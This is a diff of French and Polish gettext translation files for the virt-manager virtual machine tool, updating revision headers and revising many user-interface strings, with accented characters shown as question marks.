 "Project-Id-Version: virt-manager.tip\n"
 "Report-Msgid-Bugs-To: \n"
 "POT-Creation-Date: 2009-09-29 14:34-0400\n"
-"PO-Revision-Date: 2009-09-13 00:49+0200\n"
+"PO-Revision-Date: 2009-10-04 02:15+0200\n"
 "Last-Translator: Laurent L?onard <laurent at open-minds.org>\n"
 "Language-Team: French <fedora-trans-fr at redhat.com>\n"
 "MIME-Version: 1.0\n"
@@ -118,8 +118,7 @@
 
 #: ../src/virt-manager.schemas.in.h:19
 msgid "The number of samples to keep in the statistics history"
-msgstr ""
-"Le nombre d'?chantillons ? conserver dans l'historique des statistiques"
+msgstr "Le nombre d'?chantillons ? conserver dans l'historique des statistiques"
 
 #: ../src/virt-manager.schemas.in.h:20
 msgid ""
@@ -191,8 +190,7 @@
 
 #: ../src/virt-manager.schemas.in.h:33
 msgid "Whether to install a sound device for remote VMs or not"
-msgstr ""
-"S'il faut ou non installer un p?riph?rique de son pour les MV distantes"
+msgstr "S'il faut ou non installer un p?riph?rique de son pour les MV distantes"
 
 #: ../src/virt-manager.schemas.in.h:34
 msgid ""
@@ -265,8 +263,7 @@
 #: ../src/virtManager/addhardware.py:442
 #, python-format
 msgid "Uncaught error validating hardware input: %s"
-msgstr ""
-"Erreur non attrapp?e lors de la validation de l'entr?e du mat?riel : %s"
+msgstr "Erreur non attrapp?e lors de la validation de l'entr?e du mat?riel : %s"
 
 #: ../src/virtManager/addhardware.py:636
 msgid "Disk image:"
@@ -2180,8 +2177,7 @@
 #: ../src/vmm-add-hardware.glade.h:23
 msgid ""
 "<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">Sound</span>"
-msgstr ""
-"<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">Son</span>"
+msgstr "<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">Son</span>"
 
 #: ../src/vmm-add-hardware.glade.h:24
 msgid ""
@@ -2529,7 +2525,6 @@
 msgstr "<b>R?acheminement</b>"
 
 #: ../src/vmm-create-net.glade.h:4
-#, fuzzy
 msgid ""
 "<b>Hint:</b> The network should be chosen from one of the IPv4 private "
 "address ranges. eg 10.0.0.0/8,  172.16.0.0/12, or 192.168.0.0/16"
@@ -2634,7 +2629,7 @@
 
 #: ../src/vmm-create-net.glade.h:21
 msgid "Enable DHCP:"
-msgstr ""
+msgstr "Activer le DHCP :"
 
 #: ../src/vmm-create-net.glade.h:22
 msgid "End Address"
@@ -2755,8 +2750,7 @@
 
 #: ../src/vmm-create-net.glade.h:53
 msgid "You will need to choose an IPv4 address space for the virtual network:"
-msgstr ""
-"Vous devrez choisir un espace d'adressage IPv4 pour le r?seau virtuel :"
+msgstr "Vous devrez choisir un espace d'adressage IPv4 pour le r?seau virtuel :"
 
 #: ../src/vmm-create-pool.glade.h:1
 msgid "<span size='x-large'>Add Storage Pool</span>"
@@ -2956,7 +2950,7 @@
 
 #: ../src/vmm-create.glade.h:21
 msgid "Error message"
-msgstr ""
+msgstr "Message d'erreur"
 
 #: ../src/vmm-create.glade.h:23
 msgid "GB"
diff -r dab7da238a24 -r 67d5721a535f po/pl.po
--- a/po/pl.po	Thu Oct 01 12:07:14 2009 -0400
+++ b/po/pl.po	Mon Oct 05 10:06:29 2009 -0400
@@ -5,10 +5,10 @@
 msgstr ""
 "Project-Id-Version: pl\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-09-29 14:34-0400\n"
-"PO-Revision-Date: 2009-07-31 02:37+0200\n"
+"POT-Creation-Date: 2009-10-04 18:47+0000\n"
+"PO-Revision-Date: 2009-10-04 21:42+0200\n"
 "Last-Translator: Piotr Dr?g <piotrdrag at gmail.com>\n"
-"Language-Team: Polish <pl at li.org>\n"
+"Language-Team: Polish <fedora-trans-pl at redhat.com>\n"
 "MIME-Version: 1.0\n"
 "Content-Type: text/plain; charset=UTF-8\n"
 "Content-Transfer-Encoding: 8bit\n"
@@ -91,11 +91,12 @@
 
 #: ../src/virt-manager.schemas.in.h:15
 msgid "Show system tray icon"
-msgstr "Wy?wietl ikon? obszaru powiadamiania"
+msgstr "Wy?wietlenie ikony obszaru powiadamiania"
 
 #: ../src/virt-manager.schemas.in.h:16
 msgid "Show system tray icon while app is running"
-msgstr "Wy?wietl ikon? obszaru powiadamiania, kiedy aplikacja jest uruchomiona"
+msgstr ""
+"Wy?wietlenie ikony obszaru powiadamiania, kiedy aplikacja jest uruchomiona"
 
 #: ../src/virt-manager.schemas.in.h:17
 msgid "Stats type in manager view"
@@ -122,11 +123,11 @@
 
 #: ../src/virt-manager.schemas.in.h:22
 msgid "The statistics update interval"
-msgstr "Cz?sto?? aktualizacji statystyk"
+msgstr "Cz?stotliwo?? aktualizacji statystyk"
 
 #: ../src/virt-manager.schemas.in.h:23
 msgid "The statistics update interval in seconds"
-msgstr "Cz?sto?? aktualizacji statystyk w sekundach"
+msgstr "Cz?stotliwo?? aktualizacji statystyk w sekundach"
 
 #: ../src/virt-manager.schemas.in.h:24
 msgid "Type of stats to graph (cpu, disk, net) in manager view"
@@ -236,11 +237,11 @@
 
 #: ../src/virtManager/addhardware.py:414
 msgid "Connection does not support host device enumeration"
-msgstr "Po??czenie nie obs?uguje wyliczania urz?dzenia hosta"
+msgstr "Po??czenie nie obs?uguje wyliczania urz?dze? gospodarza"
 
 #: ../src/virtManager/addhardware.py:418
 msgid "Libvirt version does not support video devices."
-msgstr "Ta wersja libvirt nie obs?uguje urz?dze? graficznych."
+msgstr "Ta wersja biblioteki libvirt nie obs?uguje urz?dze? graficznych."
 
 #: ../src/virtManager/addhardware.py:442
 #, python-format
@@ -292,11 +293,11 @@
 
 #: ../src/virtManager/addhardware.py:661
 msgid "Absolute movement"
-msgstr "Ruch absolutny"
+msgstr "Ruch bezwzgl?dny"
 
 #: ../src/virtManager/addhardware.py:663
 msgid "Relative movement"
-msgstr "Ruch relatywny"
+msgstr "Ruch wzgl?dny"
 
 #: ../src/virtManager/addhardware.py:666 ../src/virtManager/addhardware.py:692
 #: ../src/virtManager/addhardware.py:710 ../src/virtManager/addhardware.py:737
@@ -341,7 +342,7 @@
 
 #: ../src/virtManager/addhardware.py:689 ../src/vmm-add-hardware.glade.h:65
 msgid "Same as host"
-msgstr "Takie same, jak host"
+msgstr "Takie same, jak gospodarz"
 
 #: ../src/virtManager/addhardware.py:693 ../src/vmm-add-hardware.glade.h:27
 #: ../src/vmm-details.glade.h:22
@@ -382,7 +383,7 @@
 
 #: ../src/virtManager/addhardware.py:740
 msgid "Physical Host Device"
-msgstr "Fizyczne urz?dzenie hosta"
+msgstr "Fizyczne urz?dzenie gospodarza"
 
 #: ../src/virtManager/addhardware.py:746 ../src/virtManager/details.py:1936
 msgid "Video"
@@ -399,12 +400,11 @@
 
 #: ../src/virtManager/addhardware.py:823
 msgid "Allocation of disk storage may take a few minutes to complete."
-msgstr ""
-"Zako?czenia przydzielania pami?ci masowej dysku mo?e zaj?? kilka minut."
+msgstr "Uko?czenia przydzielania pami?ci masowej dysku mo?e zaj?? kilka minut."
 
 #: ../src/virtManager/addhardware.py:847
 msgid "Are you sure you want to add this device?"
-msgstr "Na pewno chcesz doda? te urz?dzenie?"
+msgstr "Na pewno doda? te urz?dzenie?"
 
 #: ../src/virtManager/addhardware.py:849
 msgid ""
@@ -413,7 +413,7 @@
 "\n"
 "Warning: this will overwrite any other changes that require a VM reboot."
 msgstr ""
-"To urz?dzenie nie mo?e zosta? do??czone do uruchomionej maszyny. Czy to "
+"Te urz?dzenie nie mo?e zosta? do??czone do uruchomionej maszyny. Czy to "
 "urz?dzenie ma by? dost?pne po nast?pnym wy??czeniu maszyny wirtualnej?\n"
 "\n"
 "Ostrze?enie: zast?pi to wszystkie inne zmiany wymagaj?ce ponownego "
@@ -423,15 +423,15 @@
 #: ../src/virtManager/create.py:1535
 #, python-format
 msgid "Unable to complete install: '%s'"
-msgstr "Nie mo?na zako?czy? instalacji: \"%s\""
+msgstr "Nie mo?na uko?czy? instalacji: \"%s\""
 
 #: ../src/virtManager/addhardware.py:885
 msgid "Locate Storage Partition"
-msgstr "Ustal po?o?enie partycji pami?ci masowej"
+msgstr "Ustalenie po?o?enia partycji pami?ci masowej"
 
 #: ../src/virtManager/addhardware.py:893
 msgid "Locate or Create New Storage File"
-msgstr "Ustal po?o?enie lub utw?rz nowy plik pami?ci masowej"
+msgstr "Ustalenie po?o?enia lub utworzenie nowego pliku pami?ci masowej"
 
 #: ../src/virtManager/addhardware.py:1054
 msgid "Hardware Type Required"
@@ -439,7 +439,7 @@
 
 #: ../src/virtManager/addhardware.py:1055
 msgid "You must specify what type of hardware to add."
-msgstr "Musisz poda? typ sprz?tu do dodania."
+msgstr "Nale?y poda? typ sprz?tu do dodania."
 
 #: ../src/virtManager/addhardware.py:1060
 msgid "Storage Path Required"
@@ -447,7 +447,7 @@
 
 #: ../src/virtManager/addhardware.py:1061
 msgid "You must specify a partition or a file for disk storage."
-msgstr "Musisz poda? partycj? lub plik dla dyskowej pami?ci masowej."
+msgstr "Nale?y poda? partycj? lub plik dla dyskowej pami?ci masowej."
 
 #: ../src/virtManager/addhardware.py:1064
 msgid "Target Device Required"
@@ -455,7 +455,7 @@
 
 #: ../src/virtManager/addhardware.py:1065
 msgid "You must select a target device for the disk."
-msgstr "Musisz wybra? urz?dzenie docelowe dla dysku."
+msgstr "Nale?y wybra? urz?dzenie docelowe dla dysku."
 
 #: ../src/virtManager/addhardware.py:1092
 msgid "Invalid Storage Parameters"
@@ -469,11 +469,11 @@
 #: ../src/virtManager/addhardware.py:1101 ../src/virtManager/create.py:1311
 #, python-format
 msgid "Disk \"%s\" is already in use by another guest!"
-msgstr "Dysk \"%s\" jest ju? u?ywany przez innego go?cia!"
+msgstr "Dysk \"%s\" jest ju? u?ywany przez innego go?cia."
 
 #: ../src/virtManager/addhardware.py:1102 ../src/virtManager/create.py:1313
 msgid "Do you really want to use the disk?"
-msgstr "Na pewno chcesz u?y? dysku?"
+msgstr "Na pewno u?y? dysku?"
 
 #: ../src/virtManager/addhardware.py:1109
 msgid "Virtual Network Required"
@@ -481,7 +481,7 @@
 
 #: ../src/virtManager/addhardware.py:1110
 msgid "You must select one of the virtual networks."
-msgstr "Musisz wybra? jedn? z sieci wirtualnych."
+msgstr "Nale?y wybra? jedn? z sieci wirtualnych."
 
 #: ../src/virtManager/addhardware.py:1113
 msgid "Physical Device Required"
@@ -489,7 +489,7 @@
 
 #: ../src/virtManager/addhardware.py:1114
 msgid "You must select a physical device."
-msgstr "Musisz wybra? urz?dzenie fizyczne."
+msgstr "Nale?y wybra? urz?dzenie fizyczne."
 
 #: ../src/virtManager/addhardware.py:1120
 #: ../src/virtManager/addhardware.py:1126
@@ -498,7 +498,7 @@
 
 #: ../src/virtManager/addhardware.py:1121
 msgid "No MAC address was entered. Please enter a valid MAC address."
-msgstr "Nie podano adresu MAC. Podaj prawid?owy adres MAC."
+msgstr "Nie podano adresu MAC. Prosz? poda? prawid?owy adres MAC."
 
 #: ../src/virtManager/addhardware.py:1139
 msgid "Unsupported networking type"
@@ -515,11 +515,11 @@
 
 #: ../src/virtManager/addhardware.py:1152
 msgid "Are you sure you want to use this address?"
-msgstr "Na pewno chcesz u?y? tego adresu?"
+msgstr "Na pewno u?y? tego adresu?"
 
 #: ../src/virtManager/addhardware.py:1167
 msgid "Graphics device parameter error"
-msgstr "B??d parametru urz?dzenia grafiki"
+msgstr "B??d parametru urz?dzenia graficznego"
 
 #: ../src/virtManager/addhardware.py:1174
 msgid "Sound device parameter error"
@@ -535,7 +535,7 @@
 
 #: ../src/virtManager/addhardware.py:1189
 msgid "Host device parameter error"
-msgstr "B??d parametru urz?dzenia hosta"
+msgstr "B??d parametru urz?dzenia gospodarza"
 
 #: ../src/virtManager/addhardware.py:1231
 #, python-format
@@ -552,7 +552,7 @@
 
 #: ../src/virtManager/addhardware.py:1265 ../src/virtManager/create.py:671
 msgid "Not bridged"
-msgstr "Nie mostkowane"
+msgstr "Bez mostku"
 
 #. [xml value, label]
 #: ../src/virtManager/addhardware.py:1272
@@ -580,7 +580,7 @@
 
 #: ../src/virtManager/asyncjob.py:42 ../src/vmm-progress.glade.h:1
 msgid "Operation in progress"
-msgstr "Operacja jest wykonywana"
+msgstr "Dzia?anie jest wykonywane"
 
 #: ../src/virtManager/asyncjob.py:89 ../src/virtManager/asyncjob.py:102
 #: ../src/vmm-progress.glade.h:3
@@ -589,7 +589,7 @@
 
 #: ../src/virtManager/asyncjob.py:117
 msgid "Completed"
-msgstr "Zako?czono"
+msgstr "Uko?czono"
 
 #: ../src/virtManager/choosecd.py:99 ../src/virtManager/choosecd.py:109
 msgid "Invalid Media Path"
@@ -601,7 +601,7 @@
 
 #: ../src/virtManager/choosecd.py:128 ../src/virtManager/create.py:1019
 msgid "Locate ISO Image"
-msgstr "Ustal po?o?enie obrazu ISO"
+msgstr "Ustalenie po?o?enia obrazu ISO"
 
 #: ../src/virtManager/clone.py:216 ../src/virtManager/clone.py:437
 msgid "Details..."
@@ -639,7 +639,7 @@
 #: ../src/virtManager/clone.py:433
 #, python-format
 msgid "Share disk with %s"
-msgstr "Wsp??dziel plik z %s"
+msgstr "Wsp??dziel dysk z %s"
 
 #: ../src/virtManager/clone.py:445
 msgid "Storage cannot be shared or cloned."
@@ -663,13 +663,13 @@
 "Using an existing image will overwrite the path during the clone process. "
 "Are you sure you want to use this path?"
 msgstr ""
-"U?ycie istniej?cego obrazu zast?pi ?cie?k? podczas procesu klonowania. Czy "
-"jeste? pewny, ?e chcesz u?y? tej ?cie?ki?"
+"U?ycie istniej?cego obrazu zast?pi ?cie?k? podczas procesu klonowania. Na "
+"u?y? tej ?cie?ki?"
 
 #: ../src/virtManager/clone.py:639
 #, python-format
 msgid "Error changing storage path: %s"
-msgstr "B??d podczas ?cie?ki do pami?ci masowej: %s"
+msgstr "B??d podczas zmieniania ?cie?ki do pami?ci masowej: %s"
 
 #: ../src/virtManager/clone.py:690
 msgid "Skipping disks may cause data to be overwritten."
@@ -686,7 +686,7 @@
 "Nast?puj?ce urz?dzenia dysk?w nie zostan? sklonowane:\n"
 "\n"
 "%s\n"
-"Uruchomienie nowego go?cia mog?oby zast?pi? dane w tych obrazach dysk?w."
+"Uruchomienie nowego go?cia mo?e zast?pi? dane w tych obrazach dysk?w."
 
 #: ../src/virtManager/clone.py:711 ../src/virtManager/createpool.py:264
 #: ../src/virtManager/createvol.py:147
@@ -701,7 +701,7 @@
 
 #: ../src/virtManager/clone.py:722 ../src/virtManager/delete.py:142
 msgid " and selected storage (this may take a while)"
-msgstr " i wybranej pami?ci masowej (mo?e to troch? zaj??)"
+msgstr " i wybranej pami?ci masowej (mo?e to chwil? zaj??)"
 
 #: ../src/virtManager/clone.py:756
 #, python-format
@@ -718,11 +718,11 @@
 
 #: ../src/virtManager/clone.py:797
 msgid "Cannot clone unmanaged remote storage."
-msgstr "Nie mo?na sklonowa? niezarz?dzanej zdanej pami?ci masowej."
+msgstr "Nie mo?na sklonowa? niezarz?dzanej zdalnej pami?ci masowej."
 
 #: ../src/virtManager/clone.py:799 ../src/virtManager/delete.py:342
 msgid "No write access to parent directory."
-msgstr "Brak uprawnienia do zapisu do folder nadrz?dnego."
+msgstr "Brak uprawnienia do zapisu do katalogu nadrz?dnego."
 
 #: ../src/virtManager/clone.py:801 ../src/virtManager/delete.py:340
 msgid "Path does not exist."
@@ -750,30 +750,30 @@
 msgid "Name"
 msgstr "Nazwa"
 
-#: ../src/virtManager/connection.py:1119
+#: ../src/virtManager/connection.py:1121
 msgid "Disconnected"
 msgstr "Roz??czono"
 
-#: ../src/virtManager/connection.py:1121
+#: ../src/virtManager/connection.py:1123
 msgid "Connecting"
 msgstr "??czenie"
 
-#: ../src/virtManager/connection.py:1124
+#: ../src/virtManager/connection.py:1126
 msgid "Active (RO)"
-msgstr "Aktywuj (tylko do odczytu)"
+msgstr "Aktywacja (tylko do odczytu)"
 
-#: ../src/virtManager/connection.py:1126 ../src/virtManager/host.py:327
+#: ../src/virtManager/connection.py:1128 ../src/virtManager/host.py:327
 #: ../src/virtManager/host.py:555 ../src/vmm-host.glade.h:5
 msgid "Active"
-msgstr "Aktywuj"
+msgstr "Aktywacja"
 
-#: ../src/virtManager/connection.py:1128 ../src/virtManager/create.py:634
+#: ../src/virtManager/connection.py:1130 ../src/virtManager/create.py:634
 #: ../src/virtManager/host.py:332 ../src/virtManager/host.py:375
 #: ../src/virtManager/host.py:555 ../src/virtManager/host.py:587
 msgid "Inactive"
-msgstr "Deaktywuj"
+msgstr "Deaktywacja"
 
-#: ../src/virtManager/connection.py:1130 ../src/virtManager/create.py:1605
+#: ../src/virtManager/connection.py:1132 ../src/virtManager/create.py:1605
 #: ../src/virtManager/create.py:1606 ../src/virtManager/create.py:1608
 #: ../src/virtManager/details.py:934 ../src/virtManager/details.py:1063
 msgid "Unknown"
@@ -794,9 +794,9 @@
 "Pe?ne przydzielenie pami?ci masowej zajmie wi?cej czasu, ale faza instalacji "
 "systemu operacyjnego b?dzie kr?tsza. \n"
 "\n"
-"Pomini?cie przydzielenie spowoduje tak?e problemy z przestrzeni? na maszynie "
-"hosta, je?li maksymalny rozmiar obrazu przekracza dost?pn? przestrze? "
-"pami?ci masowej."
+"Pomini?cie przydzielenie spowoduje tak?e problemy z przestrzeni? na "
+"komputerze gospodarza, je?li maksymalny rozmiar obrazu przekracza dost?pn? "
+"przestrze? pami?ci masowej."
 
 #: ../src/virtManager/create.py:297
 msgid "No active connection to install on."
@@ -830,7 +830,7 @@
 #: ../src/virtManager/create.py:426
 #, python-format
 msgid "Up to %(maxmem)s available on the host"
-msgstr "Do %(maxmem)s dost?pnej na ho?cie"
+msgstr "Do %(maxmem)s dost?pnej na gospodarzu"
 
 #: ../src/virtManager/create.py:440
 #, python-format
@@ -871,7 +871,7 @@
 #: ../src/virtManager/create.py:676
 #, python-format
 msgid "Host device %s %s"
-msgstr "Urz?dzenie hosta %s %s"
+msgstr "Urz?dzenie gospodarza %s %s"
 
 #: ../src/virtManager/create.py:688
 msgid "No networking."
@@ -879,7 +879,7 @@
 
 #: ../src/virtManager/create.py:733
 msgid "Local CDROM/ISO"
-msgstr "Lokalny CD-ROM/ISO"
+msgstr "Lokalna p?yta CD-ROM/plik ISO"
 
 #: ../src/virtManager/create.py:735
 msgid "URL Install Tree"
@@ -895,7 +895,7 @@
 
 #: ../src/virtManager/create.py:1028
 msgid "Locate existing storage"
-msgstr "Ustal po?o?enie istniej?cej pami?ci masowej"
+msgstr "Ustalenie po?o?enia istniej?cej pami?ci masowej"
 
 #: ../src/virtManager/create.py:1099
 #, python-format
@@ -955,8 +955,7 @@
 #, python-format
 msgid ""
 "Virtual Network '%s' is not active. Would you like to start the network now?"
-msgstr ""
-"Sie? wirtualna \"%s\" jest nieaktywna. Czy chcesz teraz uruchomi? sie??"
+msgstr "Sie? wirtualna \"%s\" jest nieaktywna. Uruchomi? sie? teraz?"
 
 #: ../src/virtManager/create.py:1341
 #, python-format
@@ -979,7 +978,7 @@
 #: ../src/virtManager/create.py:1385
 #, python-format
 msgid "%s Are you sure you want to use this address?"
-msgstr "%s Na pewno chcesz u?y? tego adresu?"
+msgstr "%s Na pewno u?y? tego adresu?"
 
 #: ../src/virtManager/create.py:1428
 #, python-format
@@ -988,7 +987,7 @@
 
 #: ../src/virtManager/create.py:1436
 msgid "Error setting up graphics device:"
-msgstr "B??d podczas ustawiania urz?dzenia grafiki:"
+msgstr "B??d podczas ustawiania urz?dzenia graficznego:"
 
 #: ../src/virtManager/create.py:1446
 msgid "Error setting up sound device:"
@@ -1041,7 +1040,7 @@
 
 #: ../src/virtManager/createnet.py:166
 msgid "Reserved"
-msgstr "Zarezerwowane"
+msgstr "Zastrze?one"
 
 #: ../src/virtManager/createnet.py:168
 msgid "Other"
@@ -1081,7 +1080,7 @@
 
 #: ../src/virtManager/createnet.py:343
 msgid "Network name may contain alphanumeric and '_' characters only"
-msgstr "Nazwa sieci mo?e zawiera? tylko znaki alfanumeryczne oraz \"_\""
+msgstr "Nazwa sieci mo?e zawiera? tylko znaki alfanumeryczne i \"_\""
 
 #: ../src/virtManager/createnet.py:349 ../src/virtManager/createnet.py:353
 #: ../src/virtManager/createnet.py:357
@@ -1102,7 +1101,7 @@
 
 #: ../src/virtManager/createnet.py:361
 msgid "Check Network Address"
-msgstr "Sprawd? adres sieci"
+msgstr "Sprawdzenie adresu sieci"
 
 #: ../src/virtManager/createnet.py:362
 msgid ""
@@ -1137,19 +1136,19 @@
 
 #: ../src/virtManager/createnet.py:387
 msgid "Invalid forwarding mode"
-msgstr "Nieprawid?owy tryb przekazywania"
+msgstr "Nieprawid?owy tryb przekierowania"
 
 #: ../src/virtManager/createnet.py:388
 msgid "Please select where the traffic should be forwarded"
-msgstr "Wybierz, gdzie ruch powinien by? przekazywany"
+msgstr "Prosz? wybra?, gdzie ruch powinien by? przekierowywany"
 
 #: ../src/virtManager/createpool.py:241
 msgid "Choose source path"
-msgstr "Wybierz ?cie?k? ?r?d?ow?"
+msgstr "Wyb?r ?cie?ki ?r?d?owej"
 
 #: ../src/virtManager/createpool.py:247
 msgid "Choose target directory"
-msgstr "Wybierz folder docelowy"
+msgstr "Wyb?r katalogu docelowego"
 
 #: ../src/virtManager/createpool.py:278
 msgid "Creating storage pool..."
@@ -1173,16 +1172,16 @@
 "Building a pool of this type will format the source device. Are you sure you "
 "want to 'build' this pool?"
 msgstr ""
-"Budowanie puli tego typu sformatuje urz?dzenie ?r?d?owe. Czy jeste? pewny, "
-"?e chcesz \"zbudowa?\" t? pul??"
+"Budowanie puli tego typu sformatuje urz?dzenie ?r?d?owe. Na pewno "
+"\"zbudowa?\" t? pul??"
 
 #: ../src/virtManager/createpool.py:375
 msgid "Format the source device."
-msgstr "Sformatuj urz?dzenie ?r?d?owe."
+msgstr "Sformatowanie urz?dzenia ?r?d?owego."
 
 #: ../src/virtManager/createpool.py:377
 msgid "Create a logical volume group from the source device."
-msgstr "Utw?rz grup? wolumin?w logicznych z urz?dzenia ?r?d?owego."
+msgstr "Utworzenie grupy wolumin?w logicznych z urz?dzenia ?r?d?owego."
 
 #: ../src/virtManager/createvol.py:158
 msgid "Creating storage volume..."
@@ -1281,9 +1280,9 @@
 "with the specified label. The administrator is responsible for making sure "
 "the images are labeled corectly on disk."
 msgstr ""
-"Statyczny tryb bezpiecze?stwa SELinuksa przekazuje libvirt, aby zawsze "
-"uruchamia? proces go?cia za pomoc? podanej etykiety. Administrator jest "
-"odpowiedzialny za upewnienie si?, ?e obrazy na dysku maj? odpowiednie "
+"Statyczny tryb bezpiecze?stwa SELinuksa przekazuje bibliotece libvirt, aby "
+"zawsze uruchamia? proces go?cia za pomoc? podanej etykiety. Administrator "
+"jest odpowiedzialny za upewnienie si?, ?e obrazy na dysku maj? odpowiednie "
 "etykiety."
 
 #: ../src/virtManager/details.py:175
@@ -1292,13 +1291,13 @@
 "unique label for the guest process and guest image, ensuring total isolation "
 "of the guest. (Default)"
 msgstr ""
-"Dynamiczny tryb bezpiecze?stwa SELinuksa przekazuje libvirt, aby "
+"Dynamiczny tryb bezpiecze?stwa SELinuksa przekazuje bibliotece libvirt, aby "
 "automatycznie wybiera?o unikaln? etykiet? dla procesu i obrazu go?cia, "
-"zapewniaj?c ca?kowite odizolowanie go?cia (domy?lne)."
+"zapewniaj?c ca?kowite odizolowanie go?cia (domy?lnie)."
 
 #: ../src/virtManager/details.py:380
 msgid "Press Ctrl+Alt to release pointer."
-msgstr "Naci?nij Ctrl+Alt, aby uwolni? wska?nik."
+msgstr "Naci?ni?cie Ctrl+Alt uwalnia wska?nik."
 
 #: ../src/virtManager/details.py:388
 msgid "Pointer grabbed"
@@ -1310,15 +1309,15 @@
 "release the pointer, press the key pair: Ctrl+Alt"
 msgstr ""
 "Wska?nik myszy zosta? ograniczony do okna konsoli wirtualnej. Aby go "
-"uwolni?, naci?nij par? klawiszy Ctrl+Alt"
+"uwolni?, nale?y nacisn?? par? klawiszy Ctrl+Alt"
 
 #: ../src/virtManager/details.py:390
 msgid "Do not show this notification in the future."
-msgstr "Nie wy?wietlaj tego powiadomienia w przysz?o?ci."
+msgstr "Bez wy?wietlania tego powiadomienia w przysz?o?ci."
 
 #: ../src/virtManager/details.py:513
 msgid "No serial devices found"
-msgstr "Nie znaleziono urz?dze? szeregowych"
+msgstr "Nie odnaleziono urz?dze? szeregowych"
 
 #: ../src/virtManager/details.py:535
 msgid "Serial console not yet supported over remote connection."
@@ -1341,12 +1340,12 @@
 
 #: ../src/virtManager/details.py:561
 msgid "No graphics console found."
-msgstr "Nie znaleziono konsoli graficznej."
+msgstr "Nie odnaleziono konsoli graficznej."
 
 #: ../src/virtManager/details.py:566
 #, python-format
 msgid "Graphical Console %s"
-msgstr "Konsoli graficzna %s"
+msgstr "Konsola graficzna %s"
 
 #: ../src/virtManager/details.py:856
 msgid "paused"
@@ -1354,7 +1353,7 @@
 
 #: ../src/virtManager/details.py:869
 msgid "Console not available while paused"
-msgstr "Konsola nie jest dost?pna podczas pauzy"
+msgstr "Konsola nie jest dost?pna podczas wstrzymania"
 
 #: ../src/virtManager/details.py:1089
 msgid "Hypervisor Default"
@@ -1370,11 +1369,11 @@
 
 #: ../src/virtManager/details.py:1111
 msgid "Absolute Movement"
-msgstr "Ruch absolutny"
+msgstr "Ruch bezwzgl?dny"
 
 #: ../src/virtManager/details.py:1113
 msgid "Relative Movement"
-msgstr "Ruch relatywny"
+msgstr "Ruch wzgl?dny"
 
 #: ../src/virtManager/details.py:1139 ../src/vmm-add-hardware.glade.h:29
 msgid "Automatically allocated"
@@ -1396,8 +1395,8 @@
 msgid ""
 "TCP/IP error: VNC connection to hypervisor host got refused or disconnected!"
 msgstr ""
-"B??d TCP/IP: po??czenie VNC do hosta nadzorcy zosta?o odrzucone lub "
-"roz??czone!"
+"B??d TCP/IP: po??czenie VNC do gospodarza nadzorcy zosta?o odrzucone lub "
+"roz??czone."
 
 #: ../src/virtManager/details.py:1348
 msgid "Console not configured for guest"
@@ -1435,7 +1434,7 @@
 
 #: ../src/virtManager/details.py:1482
 msgid "Save Virtual Machine Screenshot"
-msgstr "Zapisz zrzut ekranu maszyny wirtualnej"
+msgstr "Zapisanie zrzutu ekranu maszyny wirtualnej"
 
 #: ../src/virtManager/details.py:1507
 #, python-format
@@ -1468,7 +1467,7 @@
 #: ../src/virtManager/details.py:1678 ../src/virtManager/details.py:1742
 msgid "These changes will take effect after the next guest reboot. "
 msgstr ""
-"Te zmiany zostan? uwzgl?dnione po nast?pnych ponownych uruchomieniu go?cia. "
+"Te zmiany zostan? uwzgl?dnione po nast?pnym ponownym uruchomieniu go?cia. "
 
 #: ../src/virtManager/details.py:1737
 #, python-format
@@ -1478,7 +1477,7 @@
 #: ../src/virtManager/details.py:1755
 #, python-format
 msgid "Error changing autostart value: %s"
-msgstr "B??d podczas zmienianie warto?ci automatycznego uruchamiania: %s"
+msgstr "B??d podczas zmieniania warto?ci automatycznego uruchamiania: %s"
 
 #: ../src/virtManager/details.py:1762
 #, python-format
@@ -1514,16 +1513,16 @@
 #: ../src/virtManager/details.py:2028
 #, python-format
 msgid "Error Removing CDROM: %s"
-msgstr "B??d podczas usuwania CD-ROM: %s"
+msgstr "B??d podczas usuwania p?yty CD-ROM: %s"
 
 #: ../src/virtManager/details.py:2045
 #, python-format
 msgid "Error Connecting CDROM: %s"
-msgstr "B??d podczas ??czenia do CD-ROM: %s"
+msgstr "B??d podczas ??czenia p?yty CD-ROM: %s"
 
 #: ../src/virtManager/details.py:2062
 msgid "Are you sure you want to remove this device?"
-msgstr "Na pewno chcesz usun?? to urz?dzenie?"
+msgstr "Na pewno usun?? te urz?dzenie?"
 
 #: ../src/virtManager/details.py:2064
 msgid ""
@@ -1532,7 +1531,7 @@
 "\n"
 "Warning: this will overwrite any other changes that require a VM reboot."
 msgstr ""
-"To urz?dzenie nie mo?e zosta? usuni?te z uruchomionej maszyny. Czy to "
+"Te urz?dzenie nie mo?e zosta? usuni?te z uruchomionej maszyny. Czy to "
 "urz?dzenie ma zosta? usuni?te po nast?pnym wy??czeniu maszyny wirtualnej?\n"
 "\n"
 "Ostrze?enie: zast?pi to wszystkie inne zmiany wymagaj?ce ponownego "
@@ -1575,104 +1574,104 @@
 #: ../src/virtManager/domain.py:1270
 #, python-format
 msgid "Didn't find the specified device to remove. Device was: %s %s"
-msgstr "Nie znaleziono podanego urz?dzenia do usuni?cia. Urz?dzenie to: %s %s"
+msgstr "Nie odnaleziono podanego urz?dzenia do usuni?cia. Urz?dzenie to: %s %s"
 
-#: ../src/virtManager/engine.py:338
+#: ../src/virtManager/engine.py:339
 #, python-format
 msgid "Error bringing up domain details: %s"
 msgstr "B??d podczas podnoszenia szczeg???w domeny: %s"
 
-#: ../src/virtManager/engine.py:444
+#: ../src/virtManager/engine.py:445
 #, python-format
 msgid "Unknown connection URI %s"
 msgstr "Nieznany adres URI po??czenia %s"
 
 #. FIXME: This should work with remote storage stuff
-#: ../src/virtManager/engine.py:452
+#: ../src/virtManager/engine.py:453
 msgid "Saving virtual machines over remote connections is not yet supported."
 msgstr ""
 "Zapisywanie maszyn wirtualnych przez zdalne po??czeniach nie jest jeszcze "
 "obs?ugiwane."
 
-#: ../src/virtManager/engine.py:467
+#: ../src/virtManager/engine.py:468
 msgid "Save Virtual Machine"
-msgstr "Zapisz maszyn? wirtualn?"
+msgstr "Zapisanie maszyny wirtualnej"
 
-#: ../src/virtManager/engine.py:476
+#: ../src/virtManager/engine.py:477
 msgid "Saving Virtual Machine"
 msgstr "Zapisywanie maszyny wirtualnej"
 
-#: ../src/virtManager/engine.py:481
+#: ../src/virtManager/engine.py:482
